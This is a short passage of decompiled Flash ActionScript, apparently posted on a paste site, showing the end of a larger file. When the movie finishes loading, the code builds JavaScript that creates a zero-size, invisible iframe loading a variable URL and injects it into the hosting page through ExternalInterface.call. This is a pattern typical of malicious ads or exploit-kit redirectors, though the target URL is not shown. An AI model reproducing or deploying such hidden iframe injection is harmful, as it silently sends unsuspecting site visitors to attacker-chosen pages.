  11048. js = (((((("ifm = document.createElement('iframe');" + "ifm.style.width=0;") + "ifm.style.height=0;") + "ifm.setAttribute('src','") + url) + "');") + "document.body.appendChild(ifm);");
  11049.  
  11050. try {
  11051.  
  11052. if (ExternalInterface.available){
  11053.  
  11054. ExternalInterface.marshallExceptions = true;
  11055.  
  11056. ExternalInterface.call((("function(){" + js) + "}"));
  11057.  
  11058. };
  11059.  
  11060. } catch(e:error) {
  11061.  
  11062. trace(("Error while processing external interface:" + e));
  11063.  
  11064. };
  11065.  
  11066. };
  11067.  
  11068. };
  11069.  
  11070. }
  11071.  
  11072. function frame1(){
  11073.  
  11074. this.loaderInfo.addEventListener(Event.COMPLETE, this.App);
  11075.  
  11076. }
  11077.  
  11078.  
  11079.  
  11080. }
  11081.  
  11082. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement